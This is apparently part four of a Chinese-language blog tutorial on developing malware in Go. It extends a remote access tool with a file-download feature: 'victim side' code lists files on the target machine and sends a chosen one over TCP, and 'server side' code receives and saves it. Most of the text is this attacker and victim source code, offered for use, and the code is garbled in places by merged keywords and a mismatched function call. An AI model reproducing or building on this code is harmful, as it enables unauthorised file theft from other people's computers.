
欢迎回来!在前面的部分中,我们启动并运行了 TCP 服务器和客户端,远程执行系统命令并支持将文件上传到目标计算机。现在,是时候再次升级了。在这一部分中,我们将深入探讨如何从目标计算机下载文件,引导您完成无缝处理文件传输的步骤。在本指南结束时,您将了解如何有效地启动文件下载。
如果您错过了前面的部分,您可以赶上
这里 : 第一部分 , 第二部分 , 第三部分 .

此屏幕截图捕获了我们在上一部分中断的位置:成功上传到远程计算机。现在,让我们继续前进,开始实现我们的下一个功能:从远程计算机下载文件。让我们深入了解这个新功能并扩展我们的工具包!
file.jpeg
首先,我们来设置一个新目录。你可以给它起任何你喜欢的名字;在这里,我们将使用 。
UploadFiles
在此目录中,我们将创建基础代码文件,在本例中调用它。此文件将管理将文件上传到服务器计算机的逻辑。
upload.go
在此文件上传实施中,我们将定义几个基本的目标端函数,以有效地处理文件传输过程。那么,让我们分解代码的每个部分以了解其目的和功能。
1. 结构体定义
type filesListstruct { Files []string } type Datastruct { FileNamestring FileSizeint FileContent []byte }
该结构包含文件名 () 列表,用于将可用文件从目标系统发送到服务器。该结构包含正在传输的实际文件数据,以及 (文件名)、 (文件大小) 和 (文件内容(以字节为单位) 的属性。
filesList
string[]
Data
FileName
FileSize
FileContent
2. ReadFileContent 函数
funcReadFileContent(fileNamestring) ([]byte,error) { file, err := os.Open(fileName) if err !=nil { fmt.Println("Unable to open file:", err) returnnil, err } defer file.Close() stats, _ := file.Stat() fileSize := stats.Size() fmt.Println("File contains", fileSize,"bytes") bytes :=make([]byte, fileSize) buffer := bufio.NewReader(file) _, err = buffer.Read(bytes) return bytes, err }
该函数打开指定的文件并将其内容读取到字节数组中。它首先尝试打开文件;如果不成功,它将打印错误消息并退出。打开文件后,它会检索文件大小以分配适当大小的字节数组,然后将文件内容读入此数组,返回内容以及遇到的任何错误。
ReadFileContent
3. UploadFilesFromRemoteMachineToServer 函数
文件列表
funcUploadFilesFromRemoteMachineToServer(connection net.Conn) (errerror) { var files []string filesArr, _ := ioutil.ReadDir(".") for index, file :=range filesArr { mode := file.Mode() if mode.IsRegular() { files =append(files, file.Name()) fmt.Println("t", index,"t", file.Name()) } }
此功能管理将文件传输到服务器的整个过程。它首先列出当前目录中的所有文件,并仅过滤常规文件,不包括目录。每个文件名都会添加到列表中,然后显示该列表。然后,此列表被编码并发送到服务器。
ReadDir
files
之后,它会等待服务器指定要下载的文件。它读取所选文件的内容并通过连接发送,从而完成文件传输。
文件列表传输
fileList := &filesList{Files: files} enc := gob.NewEncoder(connection) _ = enc.Encode(fileList)
将数组包装在一个结构中并使用 对其进行编码,然后通过 .
files
filesList
gob
connection
文件选择和检索
reader := bufio.NewReader(connection) fileNameToDownloadRaw, _ := reader.ReadString('n') fileNameToDownload := strings.TrimSuffix(fileNameToDownloadRaw,"n") contents, _ :=ReadFileContent(fileNameToDownload)
该函数的这一部分读取服务器选择的文件名,并删除任何尾随换行符以清理输入。然后,它使用该函数读取指定文件的内容,准备将其传输回服务器。
ReadFileContent
文件数据结构体的创建和传输
fs := &Data{ FileName: fileNameToDownload, FileSize:len(contents), FileContent: contents, } encoder := gob.NewEncoder(connection) err = encoder.Encode(fs)b
该函数的这一部分将创建一个结构,其中包括文件的名称、大小和内容。然后,它对此结构进行编码,并通过连接将其发送到服务器,从而完成文件传输过程。
Data
#Victom Side (UploadFilesupload.go) package uploadfiles import ( "bufio" "encoding/gob" "fmt" "io/ioutil" "net" "strings" "os" ) type filesListstruct { Files []string } type Datastruct { FileNamestring FileSizeint FileContent []byte } funcReadFileContent(fileNamestring) ([]byte,error) { file, err := os.Open(fileName) if err !=nil { fmt.Println("Unable to open file:", err) returnnil, err } defer file.Close() stats, _ := file.Stat() fileSize := stats.Size() fmt.Println("File contains", fileSize,"bytes") bytes :=make([]byte, fileSize) buffer := bufio.NewReader(file) _, err = buffer.Read(bytes) return bytes, err } funcUploadFilesFromRemoteMachineToServer(connection net.Conn) (errerror) { var files []string filesArr, _ := ioutil.ReadDir(".") for index, file :=range filesArr { mode := file.Mode() if mode.IsRegular() { files =append(files, file.Name()) fmt.Println("t", index,"t", file.Name()) } } fileList := &filesList{Files: files} enc := gob.NewEncoder(connection) _ = enc.Encode(fileList) reader := bufio.NewReader(connection) fileNameToDownloadRaw, _ := reader.ReadString('n') fileNameToDownload := strings.TrimSuffix(fileNameToDownloadRaw,"n") contents, _ := ReadFileContent(fileNameToDownload) fs := &Data{ FileName: fileNameToDownload, FileSize:len(contents), FileContent: contents, } encoder := gob.NewEncoder(connection) err = encoder.Encode(fs) return }
S0 ..
完成 Target 端代码后,让我们转到 Serve 端 ,在其中我们将探索每个功能块:
1. 结构体定义
type Datastruct { FileNamestring FileSizeint FileContent []byte }
此结构包含文件名 ()、大小 () 和实际内容 () 作为字节数组。它用于保存文件详细信息以进行传输。
FileName
FileSize
FileContent
2. DownloadFromRemoteMachine 函数
从远程计算机下载文件的核心功能 .
初始化和解码文件列表
fileStruct := &filesList{} dec := gob.NewDecoder(connection) err = dec.Decode(fileStruct)
初始化一个空结构体,并用于将传入数据解码到此结构体中,填充从服务器接收的文件名列表。
filesList
gob.NewDecoder
fileStruct
显示文件选项
for index, fileName :=range fileStruct.Files { fmt.Println("t", index,"t", fileName) } fmt.Print("Select file :")
遍历切片并打印每个文件的索引和名称,允许用户通过输入相应的索引来选择一个。
Files
读取和处理用户输入
reader := bufio.NewReader(os.Stdin) fileToDownloadRaw, _ := reader.ReadString('n') fileToDownload := strings.TrimSuffix(fileToDownloadRaw,"n")
设置缓冲读取器以捕获用户输入。存储输入,然后使用 删除任何换行符进行清理。
fileToDownloadRaw
TrimSuffix
将输入转换为索引并检索文件名
fileIndex, _ := strconv.Atoi(fileToDownload) fileNAme := fileStruct.Files[fileIndex] NByte, _ := connection.Write([]byte(fileNAme +"n")) fmt.Println("File name sent : ", NByte)
转换用户的输入(从字符串到整数)以标识选定的文件索引,然后从切片中检索相应的文件名。
Files
接收和解码文件数据
decoder := gob.NewDecoder(connection) fs := &Data{} decoder.Decode(fs)
初始化一个空结构 () 并用于将从服务器接收的文件数据解码为此结构。现在, 包含文件的名称、大小和内容,可供进一步处理。
Data
fs
gob.NewDecoder
fs
在本地创建和写入文件
file , _ :=os.Create(fs.FileName) nBytes , err := file.Write(fs.FileContent) fmt.Println("File Downloaded: ", nBytes)
使用 中指定的名称创建新文件,将收到的文件内容 () 写入此文件,并打印写入的字节数以确认下载完成。
fs.FileName
fs.FileContent
#Server Side (downloaddownload.go) package download import ( "bufio" "encoding/gob" "fmt" "net" "os" "strconv" "strings" ) type filesListstruct { Files []string } type Datastruct { FileNamestring FileSizeint FileContent []byte } funcDownloadFromRemoteMachine(connection net.Conn) (errerror) { fileStruct := &filesList{} dec := gob.NewDecoder(connection) err = dec.Decode(fileStruct) for index, fileName :=range fileStruct.Files { fmt.Println("t", index,"t", fileName) } fmt.Print("Select file :") reader := bufio.NewReader(os.Stdin) fileToDownloadRaw, _ := reader.ReadString('n') fileToDownload := strings.TrimSuffix(fileToDownloadRaw,"n") fileIndex, _ := strconv.Atoi(fileToDownload) fileNAme := fileStruct.Files[fileIndex] NByte, _ := connection.Write([]byte(fileNAme +"n")) fmt.Println("File name sent : ", NByte) decoder := gob.NewDecoder(connection) fs := &Data{} decoder.Decode(fs) file , _ :=os.Create(fs.FileName) nBytes , err := file.Write(fs.FileContent) fmt.Println("File Downloaded: ", nBytes) return }
好了!我们已经介绍了从远程计算机成功下载文件所需的一切。核心功能已全部设置并运行顺畅。现在,我们只需要对主文件进行一些调整,从服务器端文件开始,以完成我们的设置。
main.go
下面是为 “Download Files” 选项添加了 “4” 的函数,使其准备好在执行过程中显示
Options
#ServerSide (main.go) .. funcOptions() { fmt.Println("t[1] > Execute Command") fmt.Println("t[2] > File System Navigation") fmt.Println("t[3] > Upload Files") fmt.Println("t[4] > Download Files") fmt.Println("t[99] > Exit") fmt.Println() } ..
以下是函数中更新的语句,其中包含新的 Functions :
switchmain
#Serve Side (main.go) .. switch userInput { case "1": fmt.Println("[+] Command Execution Program") err := executecommandwindows.ExecuteCommandswindowsRemotely(connection) displayError(err) case"2": fmt.Println("Navigating File System") err := move.RemoteFileSystemNavigation(connection) displayError(err) case"3": fmt.Println("Uploading Files") err := uploadfiles.UploadFilesToRemoteMachine(connection) displayError(err) case"4": fmt.Println("Downloading Files") err := download.DownloadFromRemoteMachine(connection) displayError(err) case"99": fmt.Println("[+] Exiting The Program") loopControl = false default: fmt.Println("[-] Invalid Option, Try again") } ..
开关。。
#Victim Side (main.go) .. switch userInput { case "1": fmt.Println("[+] Executing Windows Command") err = executesystemcommands.CommandswindowsRemotelyExecution(connection) DisplayError(err) case"2": fmt.Println("File System Navigation") err = move.FileSystemNavigation(connection) DisplayError(err) case"3": fmt.Println("Downloading file from server") err = downloadfiles.ReadFileContent(connection) DisplayError(err) case"4" : fmt.Println("Uploading file to here") err = uploadfiles.UploadFilesFromRemoteMachineToServer(connection) DisplayError(err) case"99": fmt.Println("[-] Exiting Program") loopControl = false default: fmt.Println("[-] Invalid Option Received from Server") } ..
现在,我们已经建立了一个强大的流程,用于将文件从目标计算机检索到我们的服务器。我们演练了列出可用文件、选择要下载的文件并通过网络传输它的过程,确保它成功到达。
这种设置增强了我们的远程交互能力,允许从远程系统无缝检索数据。接下来,我们将探索其他功能。
原文始发于微信公众号(安全狗的自我修养):Go :恶意软件开发(第四部分)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论